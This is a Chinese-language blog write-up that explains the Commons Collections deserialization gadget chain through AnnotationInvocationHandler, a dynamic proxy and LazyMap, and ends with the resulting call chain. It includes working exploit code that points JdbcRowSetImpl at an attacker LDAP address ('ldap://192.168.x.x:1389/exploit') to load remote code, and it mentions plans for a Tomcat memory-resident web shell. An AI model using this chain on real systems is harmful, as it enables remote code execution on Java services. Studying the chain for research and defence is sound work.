先來看看繼承InvocationHandler代表什麼含義:在java中提供了一種動態代理建立物件的方式,也就是Proxy.newProxyInstance()方法,這個方法需要三個引數:
- classLoader
- 被建立類實現的所有介面
- InvocationHandler例項
被動態代理建立的物件,呼叫任意方法時,都會先呼叫代理類,也就是InvocationHandler例項的invoke方法,可以參照栗子
那麼回到AnnotationInvocationHandler,看看它的readObject方法和invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
//有點長,省略一些不太相關程式碼,想詳細看的話,可以直接看看原始碼
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4); // 注意這裡,呼叫了this.memberValues.get()
// 省略後方程式碼
}
}
// readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // 關鍵在於這個this.memberValues.entrySet()
// 後面的程式碼省略
}
// 建構函式
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2; // 注意這裡this.memberValues就是傳進去的map例項
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
可以看到readObject方法中呼叫了this.memberValues.entrySet(),想象一下,如果這個this.memberValues是被動態代理建立的,那是不是就會進入代理類的invoke函式,而代理類又是AnnotationInvocationHandler,那就會呼叫上面的invoke方法,進而呼叫代理類內部map的get方法(也就是this.memberValues.get(var4)這一行),而代理類的memberValues=lazyMap的話,直接就形成利用鏈了。來看看利用程式碼:
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
// 獲取建構函式
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 建立代理類
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
// 動態代理,建立lazyMap例項
Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
// 建立被反序列化的AnnotationInvocationHandler類
Object aa = constructor.newInstance(Override.class, map1);
// 本地寫檔案
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(aa);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
這裡可能也會有點繞,所以將真正反序列化執行AnnotationInvocationHandler.readObject方法的例項命名為aa,當aa.readObject執行後,會呼叫aa.memberValues.entrySet(),也就是map1.entrySet(),由於map1是被代理類invocationHandler動態建立的,所以執行map1.entrySet的時候,會進入invocationHandler.invoke(),而invoke方法中存在this.memberValues.get(var4),這裡就是代理類invocationHandler.memberValues.get(),代理類invocationHandler的memberValues就是一個lazyMap,所以成功到達ChainedTransformer!呼叫鏈如下
AnnotationInvocationHandler.readObject
memberValues.entrySet() 由於memberValues是被動態代理的,所以呼叫代理類的invoke方法,而代理類也是一個AnnotationInvocationHandler類
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.memberValues.get(xx) <=> lazyMap.get 代理類的memberValues是一個lazyMap
ChainedTransformer.transform(xx)
3 總結
因為面試和專案這個總結性的文章寫的思路有一些斷。學習過程中看過CC鏈中涉及到的原始碼後,不得不佩服ysoserial原作者的程式碼功底,tql!!ysoserial還有一些其它鏈,之後再研究研究。下一篇想寫一個在shiro回顯研究上看到的tomca 6 7 8 9全版本獲取request的方法,試試能不能拿來做tomcat全版本的記憶體馬